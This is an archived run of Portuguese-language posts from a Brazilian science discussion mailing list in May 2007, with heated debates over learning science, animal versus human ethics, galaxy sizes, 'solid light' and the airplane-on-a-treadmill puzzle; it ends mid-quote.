no intímo de cada ser humano existe um germe de sabedoria e é isso que importa porque o conhecimento não resolve os problemas e sim a sabedoria.

Beijo,

da Bruna Carolina

"Existe uma ordem no universo. No meio da morte, a vida continua; no meio da mentira, a verdade continua; no meio da injustiça, a justiça continua; e em toda a escuridão, há luz."

Mahatma Gandhi.


Ferrari <emailferrari@yahoo.com.br> escreveu:

--- Vc diz que eu não tenho recuperação. Vc está
certo. Depois que descobri que o conhecimento da
realidade não é a realidade, fugi da escola. Todas as
escolas. Mesmo as religiosas, filosóficas e
artisticas, das quais sempre sou acusado de
participar. É uma acusação infundada.

--- No caso da ciencia, nenhuma escola é capaz de
ensinar a fazer ciencia. É impossivel isto. Impossivel
assim como é impossivel ensinar alguém a pensar. Ou a
pessoa pensa ou não pensa. Assim, não vamos na escola
pra aprender ciencia, vamos na escola pra aprender o
conhecimento cientifico.

--- Não me interesso pelo conhecimento cientifico,
pela decoreba da coisa. Me interessado pelo "fazer
ciencia". E se interessar pelo "fazer ciencia" e
investigar o "fazer ciencia" me faz um mal aluno em
ciencia, aos olhos do professor de fisica. Pode
acreditar, meu empenho é pra ser o pior da classe.

sinceramente
ferrari









Bruna Carolina Ribas Silva
Rio Grande/RS

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SUBJECT: RE: [ciencialist] Re: O Raciocinio e o Prazer ::: (artigo)
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 20:12

Cacilda...
ããmmmm... de novo não...
Que preguiça...
( o justo seria isso: se estou sendo moderado, não posso ser atacado e
provocado, certo? )
abr/M.


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: O Raciocinio e o Prazer ::: (artigo)
>Date: Sun, 20 May 2007 02:07:52 -0000
>
>--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> > Vc já ouviu falar numa coisa chamada ''liberdade poética''?
>
>Já ouvi falar em uma coisa chamada "viagem na maionese"? (Geralmente
>leva à salmonelose cerebral.)
>
>[]s,
>
>Roberto Takata
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] A verdadeira foto do Takata
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 21:00

Oh, Manu, o querido Takata não é um computador, é apenas tímido que tem "problemas" com a própria aparência o que seria útil se utilizasse a neurolínguistica para acabar com isso!

Manuel Bulcão <manuelbulcao@uol.com.br> escreveu: Querem saber quem é mesmo o cara? Eis a sua verdadeira imagem, e sejam
bem-vindos ao deserto da realidade.

http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?b=3

[]s
Manuel Bulcão



__._,




Bruna Carolina Ribas Silva
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SUBJECT: Re: O Raciocinio e o Prazer ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 21:00

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> ( o justo seria isso: se estou sendo moderado, não posso ser atacado
> e provocado, certo? )

Se vc ataca, claro q pode ser "atacado" - e tb "varejado".

[]s,

Roberto Takata



SUBJECT: Re: A verdadeira foto do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 21:03

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Oh, Manu, o querido Takata não é um computador, é apenas tímido que
> tem "problemas" com a própria aparência o que seria útil se
> utilizasse a neurolínguistica para acabar com isso!

Veterinária q ataca de psicóloga... Deve ser exercício ilegal de
profissão ou vai ver q ela acha q sou um cão. Bem pra quem não sabe a
diferença entre 200 vacas e 1 homem não é algo absurdo.

[]s,

Roberto Takata



SUBJECT: Re: ABC da CIENCIA
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 21:14

Olá Ferrari, seu irrecuperável! :)

Gostaria só de convidá-lo a refletir sobre algumas de suas afirmações.
Vou destacá-las abaixo e comentar em seguida:

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Zé!
>
> No caso da
> fisica, está presente na questão do espaço cheio
> (particula) e do espaço vazio. Entender a natureza, é,
> inevitavelmente, entender a cognição.

Ferrari, nada consta sobre ser a partícula "um espaço cheio". E eu lhe
perguntaria mais: cheio de quê?

Partícula é uma idealização que fazemos de algo ainda mais abstrato: a
matéria. Não há nenhum paralelo entre o seu conceito de "cheio" e o
conceito de "partícula". Esse é mais um dos seus chutes absurdos por
absoluta preguiça de se informar adequadamente.

> Quando estou conversando sobre fisica, como
> no caso de e=mc2, é apenas porque a maioria dos
> cientistas aqui igualam ciencia a fisica. Não faço
> isto.

Sorry, mas eu acho que você é o único que tem feito isso. Tudo bem, é
só uma opinião.


> --- Vc diz que eu não tenho recuperação. Vc está
> certo. Depois que descobri que o conhecimento da
> realidade não é a realidade, fugi da escola.

Talvez tenha fugido cedo demais, antes de aprender que a realidade é o
conhecimento que você tem dela. :)


> --- No caso da ciencia, nenhuma escola é capaz de
> ensinar a fazer ciencia. É impossivel isto. Impossivel
> assim como é impossivel ensinar alguém a pensar. Ou a
> pessoa pensa ou não pensa. Assim, não vamos na escola
> pra aprender ciencia, vamos na escola pra aprender o
> conhecimento cientifico.

Acho que também temos uma pequena discordância aqui, pois é fato que
existiram cientistas nos últimos trezentos anos e também é fato que
nenhum deles era um analfabeto que nunca freqüentou nenhuma escola.
Pela sua hipótese deveríamos ter milhares de cientistas brotando em
todos os cantos e os cursos de pós-graduação seriam apenas formas de
passar o tempo que, curiosamente, os futuros cientistas escolheram
fazer por falta do que mais fazer antes de serem cientistas. Isso me
parece totalmente insustentável, mas também estou acostumado a
encontrar afirmativas suas que depois são abandonadas por falta de
sustentação. Acho que essa é uma delas, mais um chute sem nenhuma
análise prévia.

> --- Não me interesso pelo conhecimento cientifico,
> pela decoreba da coisa. Me interessado pelo "fazer
> ciencia". E se interessar pelo "fazer ciencia" e
> investigar o "fazer ciencia" me faz um mal aluno em
> ciencia, aos olhos do professor de fisica. Pode
> acreditar, meu empenho é pra ser o pior da classe.


Você não precisa fazer nenhum esforço para ser o pior da classe. Por
isso mesmo temos muitas classes só com os piores. :)

Acho que você apenas chuta porque tem preguiça de pensar, estudar e se
dedicar a uma reflexão mais profunda, pois para ser o pior da classe
basta a preguiça, o chutômetro descalibrado e a ilusão de que em uma
avenida onde todos os carros vêm no sentido oposto, só você estará
certo e todos os demais estarão na contra-mão. É, você tem tudo para
ser o pior dos piores, inclusive a maior qualidade requerida: a
preguiça de aprender. Orgulhe-se disso.


Abraços,
JC


>
> sinceramente
> ferrari
>
>





SUBJECT: Re: A verdadeira foto do Takata
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 21:23

Não há nenhum preconceito no que eu disse, Silvio. Basta ler com
atenção. Eu disse que o conhecimento é uma construção em camadas.
Obviamente se você chegou à idade madura com camadas que lhe permitam
continuar aprendendo, e isso significa que você tem se dedicado a
aprender antes, então aprender para você não é uma "atividade nova",
mas tão somente a consequência natural de viver e, nesse caso, tanto
faz sobre o que você esteja aprendendo agora. Mas se você chegou à
idade madura apenas com uma coleção de respostas prontas e um hábito
arraigado de vagabundagem mental, então você continuará sendo estúpido
pelo resto da vida, pois não será mais possível tirar todo o lixo que
você acumulou na memória, todos os vícios do pensamento e toda a
preguiça de pensar, tão bem treinada em décadas de marasmo mental.
Pode parecer cruel, mas eu realmente acho que isso é a realidade.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> J. Carlos.
>
> boas falas. assino em baixo.
>
> Só não tenha preconceitos por questão de idade: só me interessei por
filosofia após a aposentadoria pois antes trabalhava e muito... em
obras de engenharia.
> As pessoas mais velhas aprendem, são lúcidas e têm uma bagagem de
conhecimentos que podem ajudar para esclarecer, aclarar pensamentos.
> Õs carolas, papa-hóstias não têem idade: veja nossas listas.... mas
são condicionados ao preconceito e fundamentalismo, independente da
faixa hetária pelos próprios sistemas de alienação dos fieis.
> Embora toda regra tenha excessão....
>
> um bom domingo,
>
> silvio.
> ----- Original Message -----
> From: José Carlos Antonio
> To: ciencialist@yahoogrupos.com.br
> Sent: Sunday, May 20, 2007 5:18 AM
> Subject: [ciencialist] Re: A verdadeira foto do Takata
>
>
> João,
>
> Acho que as pessoas não fazem uma opção consciente pela ignorância,
> elas apenas são ignorantes por natureza, pois ninguém nasce menos
> ignorante que outro ou dotado de algum "conhecimento" além daqueles
> mínimos gravados em nosso DNA.
>
> O problema, a meu ver, é que abandonar a ignorância tem um preço muito
> alto: é precido ler muito, ouvir muito, pensar muito e aprender que as
> respostas que encontramos são sempre superficiais, temporárias e
> relativas. Esse aprendizado, da relatividade do nosso próprio
> conhecimento, talvez seja muito difícil para quem aprendeu por muito
> tempo apenas a "acreditar em respostas" e não treinou o "duvidar das
> perguntas".
>
> Eu penso que a grande maioria das pessoas não consegue formular uma
> idéia minimamente razoável do que representa uma galáxia em termos de
> tempo e espaço, por exemplo. E muito menos ainda conseguem ter uma
> visão microscópica da matéria que lhes permita compreender, ainda que
> superficialmente, a complexidade e o caos que geram a ordem das
> estruturas macroscópicas. Isso tudo é muito complicado para mentes
> lineares e superficiais alimentadas por cultura inútil.
>
> Depois que as pessoas envelhecem é ainda mais difícil assimilar novos
> paradigmas ou idéias contraditórias às suas "verdades". Em educação
> vemos isso claramente, tanto quanto vemos isso transparecer nessas
> discussões de cunho religioso que assitimos nas listas.
>
> Nenhum ser humano minimamente inteligente e bem informado poderia crer
> em deuses que criam mundos e seres para habitá-los, mas eles crêem!
> Tomam antibióticos para curarem-se de infecções e depois agradecem
> seus deuses; não crêem em fantasmas, mas tem medo do escuro. :)
>
> A lavagem cerebral da religião feita nas crianças, por exemplo,
> sobrevive na idade adulta na imensa maioria das pessoas. Até mesmo
> muitos "céticos" têm medo de ter certeza de que seus deuses da
> infância não existam. Sabem que é irracional, mas eles mesmos não têm
> um comportamento racional ao lidar com o assunto.
>
> A mente humana é uma construção em camadas onde uma se apóia na outra.
> Depois que há muitas camadas sobrepostas e sedimentas, não dá para
> retirar uma camada profunda sem "desconstruir" todo o resto. Ocorre
> que essa "desconstrução" é muito trabalhosa e, francamente, quase
> nunca ocorre.
>
> A melhor solução que conheço é investir na educação dos pequenos, mas
> mesmo assim não é fácil porque até mesmo muitos dos professores de
> biologia que ensinam a teoria da evolução para as crianças, crêem,
> eles mesmos, na teoria da criação divina. Assim fica difícil...
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> <joaobncarvalho@> escreveu
> >
> > > sejam bem-vindos ao deserto da realidade.
> >
> > É bem provável que o Takata seja um computador quântico. Talvez um
> > experimento do Pentágono que foi colocado em uma lista do Brasil
para
> > não despertar suspeitas. Mas Manuel, você podia pelo menos ter nos
> > oferecido a possibilidade de tomar a pílula azul. Ao clicar em seu
> > link nós podíamos ser direcionados para a página da Disney, ou da
> > Playboy.
> >
> > É uma pergunta interessante que um cara fez em outra lista: Você
> > tomaria a azul ou a vermelha?
> >
> > Antes de escolher, lembre-se do comentário de um dos personagens:
> > Ignorance is bliss. Tem também a observação do Morpheus sobre a
> > pílula vermelha: Tudo que eu te ofereço é a verdade, nada mais que
> > isso. Vocês encarariam a verdade, mesmo sabendo que contemplá-la é
> > contemplar o abismo? Pois o mundo é um abismo, e o que eu vejo
por aí
> > são pessoas tentando não olhar para ele. Botá-lo debaixo do tapete.
> > Tentando acreditar que ele não existe. A grande maioria tomaria a
> > azul. A percentagem de pessoas que acreditam nas bases
darwinistas e
> > computacionais da mente deve estar abaixo de 1%. Nós só
aceitamos que
> > a Terra gira em torno do Sol porque não temos escolha. Também
não dá
> > para dizer que não existem galáxias, e aglomerados de galáxias que
> > estão a 5 bilhões de anos luz daqui. Isso sem falar daquelas
> > partículas quânticas, que são uma das maiores evidências de que
Deus
> > não existe. Se ele existisse não teria criado algo tão cretino. É o
> > deserto da realidade. Não digo nem bem-vindos, pois seria uma
ironia.
> > Se Deus existe, ele nos sacaneou.
> >
> > João
> >
>
>
>
>
>
>
>
------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.7.4/811 - Release Date:
18/5/2007 15:50
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: O Raciocinio e o Prazer ::: (artigo)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 21:29

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu

> É sobre isto
> que o texto está tratando. Sobre a diferença entre
> estes dois processos mentais, racioconio e prazer, e
> sobre como um pode ajudar o outro, ao invés de um
> atrapalhar o outro.

Ferrari, acho que seria muito pedir para você resolver uma equação do
segundo grau e por isso talvez você não compreenda muito bem o prazer
de resolver a equação de Dirac e descobrir nela todo um universo de
anti-matéria por trás de operadores e coeficientes matriciais... Para
você isso deve ser o equivalente de ler poesia para minhocas, mas para
nós outros mortais, acredite-me, há bem mais prazer em um raciocínio
bem estruturado do que em uma poesia pós-moderna.

Abraços,
JC



SUBJECT: Re: [ciencialist] Re: A verdadeira foto do Takata
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 21:36

Não ataco de psicóloga, etologia faz parte da minha profissão.
Eu sei muito bem a diferença de 200 vacas e 1 homem, porém, isso não significa que por ser da minha espécie o homem valha mais que as 200 vacas e que por ele eu tenha que optar.
As vacas estão em maior número, são mais vidas desperdiçadas do que a única vida de um homem, e a vida delas é importante para elas, isso não discutirei.
Me resta saber qual a importância desse caso hipotético para vc, querido Takata, para com ele me perseguir.
Ele é tão desimportante qto a sua aparência para mim, por exemplo.

Atenciosamente,

Bruna Carolina


rmtakata <roberto.takata@bol.com.br> escreveu: --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Oh, Manu, o querido Takata não é um computador, é apenas tímido que
> tem "problemas" com a própria aparência o que seria útil se
> utilizasse a neurolínguistica para acabar com isso!

Veterinária q ataca de psicóloga... Deve ser exercício ilegal de
profissão ou vai ver q ela acha q sou um cão. Bem pra quem não sabe a
diferença entre 200 vacas e 1 homem não é algo absurdo.

[]s,

Roberto Takata



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Rio Grande/RS

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SUBJECT: Re: A verdadeira foto do Takata
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 22:21

Olá, JC.

> Acho que as pessoas não fazem uma opção consciente pela ignorância,

Elas fazem sim. Especialmente hoje em dia. Tem gente que diz ser o
cérebro complicado demais para ser entendido. Na verdade, elas querem
que ele seja complicado demais de modo que a neurologia não consiga
abordá-lo. Muito tempo atrás todo o mundo era mágico. Era criado por
Deus. Aí veio Newton com seu universo mecânico. As pessoas se
refugiaram no homem. Este sim, era criado por Deus. Aí veio Darwin, o
que levou as pessoas a se entrincheirarem na mente. É o último
bastião de resistência divina contra o avanço do conhecimento.
Conhecer é contemplar o abismo. As pessoas seriam muito mais felizes
vivendo no mundo mágico da idade média.

Ou quando as pessoas dizem que não se pode conhecer o mundo, apenas
elaborar modelos que dizem respeito à visão de uma cultura
específica, de uma época específica, e não ao mundo em si. Na verdade
elas desejam que seja assim. Elas desejam que nós não possamos
conhecer as coisas. Elas querem a ignorância. Praticamente todas as
pessoas instruídas das sociedades desenvolvidas atuais pensa dessa
forma.

> Eu penso que a grande maioria das pessoas não consegue formular uma
> idéia minimamente razoável do que representa uma galáxia em termos
de
> tempo e espaço, por exemplo.

E alguém tem? São coisas que estão além da nossas capacidades
cognitivas. Qual é o diâmetro da Via Láctea? Eu não sei. Se me
disserem 1 milhão de anos luz, eu aceito. Se me disserem 10 eu também
aceito. Ou mesmo 100. 1000 eu já acho improvável, mas simplesmente
porque eu tenho certas referências astronômicas que me permitem
comparar as distâncias. Eu sei que existe um enorme aglomerado de
galáxias a 5 bilhões de anos luz daqui. Assim, é improvável que a Via
Láctea tenha 1 bilhão. Mas se eu não soubesse disso eu engoliria até
mesmo 1 bilhão. 1 milhão, 1 bilhão, que diferença faz?

Saudações,
João de Carvalho




SUBJECT: Re: A verdadeira foto do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 22:28

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Não ataco de psicóloga, etologia faz parte da minha profissão.

Lamento (não q haja muito por lamentar de minha parte), mas etologia
não lida com avaliações motivacionais ("ter problemas com a própria
imagem") ou caracterizações psicológicas de indivíduos - como a
qualificação de "tímido". Se ensinaram q isso é etologia a vc,
ensinaram errado.

Etologia foca o comportamento de organismos - notadamente de animais
(em especial de animais não-humanos, mas é possível estudar humanos em
termos etológicos tb) - por meio de análise anatomofisiológica,
neurobiológica e evolutiva.

Além disso, se já é complicado a extensão de conclusões baseados em
modelos humanos para animais não-humanos, é ainda mais complicado o
caminho inverso. E definitivamente seu diploma de veterinária não
permite legalmente esse tipo de análise em humanos.

> Eu sei muito bem a diferença de 200 vacas e 1 homem, porém, isso não
> significa que por ser da minha espécie o homem valha mais que as 200
> vacas e que por ele eu tenha que optar.

Enfim, vc *não* sabe a diferença entre 200 vacas e 1 homem. Ou melhor,
pra vc a diferença é 199 ou mais.

> Me resta saber qual a importância desse caso hipotético para vc,
> querido Takata, para com ele me perseguir.

Não há perseguição, apenas q vc se recusava em responder a essa
pergunta relativamente simples (como o Ferrari se recusa a responder a
um exercício de aplicação de uma fórmula q ele pretende analisar).
Agora podemos ter certeza de q vc dá mais valor a duas vacas do q a um
ser humano. Bem, seu direito. Reservo-me o direito de considerar q
isso não faz a sua ética ser superior a minha (e se perguntado eu
direi q é exatamente o contrário: minha ética, no q se refere à
valorização do ser humano, é superior a sua).

[]s,

Roberto Takata



SUBJECT: Re: A verdadeira foto do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 22:35

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Qual é o diâmetro da Via Láctea?

O eixo maior tem cerca de 100 mil anos-luz.

> Mas se eu não soubesse disso eu engoliria até mesmo 1 bilhão. 1
> milhão, 1 bilhão, que diferença faz?

Faz diferença qdo vc considera q o Universo tem cerca de 14 bilhões de
ano. No Universo visível não caberiam mais do q uns punhados de
galáxias de 1 bilhão de anos-luz de extensão. O q tb faria com q a
densidade de matéria fosse incrivelmente maior do q a de nosso
Universo - o q teria terríveis implicações qto ao futuro (tal Universo
iria se colapsar muito rapidamente). E antes q o Universo se
colapsasse - em sendo todos os demais parâmetros iguais - a própria
galáxia iria se colapsar. Estrelas iriam se chocar com tta freqüência,
gerando super-novas em toda a vizinhança q a Terra seria varrida dia e
noite com uma torrente de raios-X q iria inviabilizar a ocorrência de
formas de vida como a conhecemos.

[]s,

Roberto Takata



SUBJECT: [ciencialist] Descoberto estado sólido da luz
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/05/2007 23:01

Há uma ampola em vácuo, com 4 placas disposta na horizontal como um pião
sensível, de um lado é polida e do outro preta. Incidindo luz nela, com uma
lâmpada de 60 watts próxima a uns 50cm, o pião de placas começa a se mover,
rodando, como se o lado polido - que reflete os fótons - promovesse uma
força de impulso maior do que o lado pintado de preto que "absorve" o fóton.
[]s
JR
...........................................
>
> ----- Original Message -----
> From: "oraculo333" <oraculo@atibaia.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 14, 2007 2:28 PM
> Subject: [ciencialist] Descoberto estado sólido da luz
>
>
> Olá
>
> Será que enfim poderemos comprar um sabre de luz Jedi de Star Wars?..:-)
>
> Um abraço.
>
> Homero
> __________________________________________
> Descoberto estado sólido da luz
>
> Pesquisadores das universidades de Melbourne, Austrália, e Cambridge,
> Inglaterra, desenvolveram uma nova teoria que mostra que a luz pode se
> comportar como um sólido. "A luz sólida irá nos ajudar a construir a
> tecnologia deste século," diz o Dr. Andrew Greentree.
>
> Ao invés de utilizar as ferramentas tradicionais encontradas nos
> laboratórios de óptica, os cientistas tiveram que empregar técnicas
> comumente utilizadas para estud
> ar a matéria.
>
> Luz sólida
>
> "Fótons de luz sólidos repelem-se mutuamente como acontece com os
> elétrons. Isto significa que nós podemos controlar os fótons, abrindo
> as portas para novos tipos de computadores mais rápidos," diz o cientista.
>
> No trabalho , os cientistas demonstram teoricamente como projetar a
> "transição de fase" dos fótons, fazendo-os passar do comportamento de
> sólido - quando eles interagem entre si como os elétrons - para o
> comportamento de onda tradicional da luz - na qual os fótons não
> interagem entre si.
>
> "Normalmente os fótons fluem livremente mas, nas condições corretas,
> eles se repelem, e formam um cristal," diz Greentree.
>
> A nova teoria cria um campo totalmente novo de pesquisa, fazendo uma
> interseção entre a óptica e a física da matéria condensada. Agora, os
> pesquisadores experimentalistas vão começar a estudar a nova teoria
> para descobrir formas de testá-la na prática.
>
> http://tecnocientista.info/noticia_detalhe.asp?cod=5488
>
>
>
>
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> Página de apoio
> http://www.ciencialist.com
>
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> Para alterar a categoria classificada, visite
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>
>



SUBJECT: Fw: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/05/2007 23:03

Caro, Homero!

Não é a forma de tração "tudo o que importa aqui". O detalhe principal é a
forma como é medida a velocidade do avião: GPS; tubo Pitot, através da
velocidade do ar; odômetro mecânico ou fotométrico...

Abraços

José Renato
...........................................
> ----- Original Message -----
> From: "Oraculo" <oraculo@atibaia.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, May 10, 2007 3:58 PM
> Subject: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
> entendendo nada
>
>
> OLá Jose Renato
>
> Renato: "JR - Não são, não, Homero! Até o avião se separar da pista, ele
> roda como um
> carro ou moto movidos a turbinas."
>
> NÃO, NÃO E NÃO, MILHARES DE VEZES NÃO..:-) Isso é um erro "crasso" de
> física, e é isso que o impede de enxergar seu erro desde o começo. Um
> avião NUNCA se move da mesma forma que um carro, pois sua tração, que é
> tudo que importa aqui, É FEITA PELAS TURBINAS e não pelas rodas!
>
> O avião nunca se move pelas rodas, nunca! Coloque o avião na esteira de
> testes de automóveis de uma fábrica, ligue as turbians, e ele sai voando
> pela sala (é perigoso, mas parece que é a única forma de você entender
> isso..:-). Coloque um carro, e ele fica no lugar, com a esteira
> compensando a TRAÇÃO das rodas.
>
> Não há como a esteira compensar o EMPUXO das turbinas ou hélices.
>
> E tem razão, eu desisto..:-) Isso é o mesmo que tentar convencer você que
> deus não existe, é uma questão de fé.
>
> Homero
>
>
>
> ----- Original Message -----
> From: José Renato
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, May 10, 2007 12:13 AM
> Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
>
>
> Olá, Homero! Tenha calma, pense e apresente seus comentários,
> mas não perca a compostura. Faço comentários no texto abaixo,
> após JR -, OK?
> ...........................................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 07, 2007 12:51 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
> nada
>
> PQP..:-)
> JR - É importante manter o controle...
>
> Me desculpem a expressão, mas é a única que pode exprimir corretamente
> meu espanto..:-)
> JR - Pensei que vc tinha desistido...
>
> Quanto penso que alguém vai conseguir finalmente explicar o erro a
> você, Renato, tenho de ler, de novo, outro exemplo sem sentido, onde
> seu engano é novamente repetido:
> JR - Não é não, Homero! No exemplo fica claro - para quem avalia - a
> relação
> entre o móvel-motocicleta e o chão-globo que se desloca sob elas. Em
> geral,
> o espetáculo é feito com a estrutura do globo fixa, sem movimento de
> rotação
> que eu inseri no exemplo para torná-lo semelhante ao do problema
> esteira-avião.
>
> Renato: "Vc já viu o espetáculo circense chamado de Globo da Morte,
> onde motociclistas se movimentam simultaneamente dentro de uma
> estrutura esférica? Pense uma estrutura dessas girando em seu eixo
> fixo ao chão, e um motociclista se deslocando na linha do "equador" na
> mesma velocidade angular, mas em sentido contrário. Ele consegue fazer
> isso? Qual é o referencial?"
>
> Quosque tandem abutere patienta nostra, Renato?..:-) Seu exemplo é um
> "exemplo" CLARO de seu erro, pois se baseia no "senso comum" a
> respeito de movimento! SE são motos movidas pela tração nas rodas, é
> uma coisa, se são motos MOVIDAS POR HÉLICES OU JATOS, é outra!!!
> JR - Não são, não, Homero! Até o avião se separar da pista, ele roda como
> um
> carro ou moto movidos a turbinas.
>
> Colocando de forma mais clara, motos que se movem por jatos de ar
> PODEM FAZER ISSO sem problemas, da mesma forma como um avião pode
> decolar da esteira! Mesmo com a estrutura girando em seu eixo fixo, as
> motos SE MOVEM E GIRAM SEM CAIR, já que as rodas não são responsáveis
> pela tração, mas apenas isolam as mesmas da estrutura!! Como no avião
> e esteira, motos com jatos apenas farão as rodas girarem mais rápido,
> se a estrutura girar ao contrário de seu deslocamento, que se esta
> estivesse parada!
> JR - Ficou muito confusa sua explicação... Mas se as rodas que estão em
> contato com a estrutura do globo giram mais rápido quando essa estrutura
> gira, significa que não está mais na mesma velocidade de antes quando o
> globo estava parado. Logo, não está atendendo o enunciado do problema...
>
> Se pelo menos parasse de teimar e pensasse um pouco no problema, sem
> deixar seu "ego" gigantesco engana-lo, dizendo que você tem uma
> resposta que NINGUÉM mais descobriu..:-)
> JR - Leia esse parágrafo acima para vc mesmo e veja se bate alguma luz...
>
> Pense, Renato, pense: se conseguir imaginar as motos ligando seus
> "jatos", o que acontece com a estrutura depois disso é IRRELEVANTE!
> JR - Não é não, Homero! No exemplo do globo da morte as motocicletas a
> jato
> sofrerão um retardo em seus movimentos em relação ao chão-solo, visto que
> a
> estrutura - onde elas estão apoiadas e se deslocando - roda em sentido
> contrário, subtraindo velocidade nesse sentido.
>
> Que canseira..:-) E, mais uma vez peço desculpas, mas, PQP!!!..:-)
> JR - Descanse e depois tente raciocinar sobre a questão.
>
> Homero
>
> []s
> José Renato
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
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SUBJECT: RES: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 06:32

E se for um hidro-avião?

Ele levantaria vôo:

1 – se tenta a favor da correnteza?

2- se tenta contra a correnteza?



Sds,

Victor?



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: domingo, 20 de maio de 2007 23:03
Para: ciencialist@yahoogrupos.com.br
Assunto: Fw: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada



Caro, Homero!

Não é a forma de tração "tudo o que importa aqui". O detalhe principal é a
forma como é medida a velocidade do avião: GPS; tubo Pitot, através da
velocidade do ar; odômetro mecânico ou fotométrico...

Abraços

José Renato
...........................................
> ----- Original Message -----
> From: "Oraculo" <oraculo@atibaia.com.br <mailto:oraculo%40atibaia.com.br>
>
> To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
> Sent: Thursday, May 10, 2007 3:58 PM
> Subject: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
> entendendo nada
>
>
> OLá Jose Renato
>
> Renato: "JR - Não são, não, Homero! Até o avião se separar da pista, ele
> roda como um
> carro ou moto movidos a turbinas."
>
> NÃO, NÃO E NÃO, MILHARES DE VEZES NÃO..:-) Isso é um erro "crasso" de
> física, e é isso que o impede de enxergar seu erro desde o começo. Um
> avião NUNCA se move da mesma forma que um carro, pois sua tração, que é
> tudo que importa aqui, É FEITA PELAS TURBINAS e não pelas rodas!
>
> O avião nunca se move pelas rodas, nunca! Coloque o avião na esteira de
> testes de automóveis de uma fábrica, ligue as turbians, e ele sai voando
> pela sala (é perigoso, mas parece que é a única forma de você entender
> isso..:-). Coloque um carro, e ele fica no lugar, com a esteira
> compensando a TRAÇÃO das rodas.
>
> Não há como a esteira compensar o EMPUXO das turbinas ou hélices.
>
> E tem razão, eu desisto..:-) Isso é o mesmo que tentar convencer você que
> deus não existe, é uma questão de fé.
>
> Homero
>
>
>
> ----- Original Message -----
> From: José Renato
> To: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
> Sent: Thursday, May 10, 2007 12:13 AM
> Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
>
>
> Olá, Homero! Tenha calma, pense e apresente seus comentários,
> mas não perca a compostura. Faço comentários no texto abaixo,
> após JR -, OK?
> ...........................................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
> Sent: Monday, May 07, 2007 12:51 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
> nada
>
> PQP..:-)
> JR - É importante manter o controle...
>
> Me desculpem a expressão, mas é a única que pode exprimir corretamente
> meu espanto..:-)
> JR - Pensei que vc tinha desistido...
>
> Quanto penso que alguém vai conseguir finalmente explicar o erro a
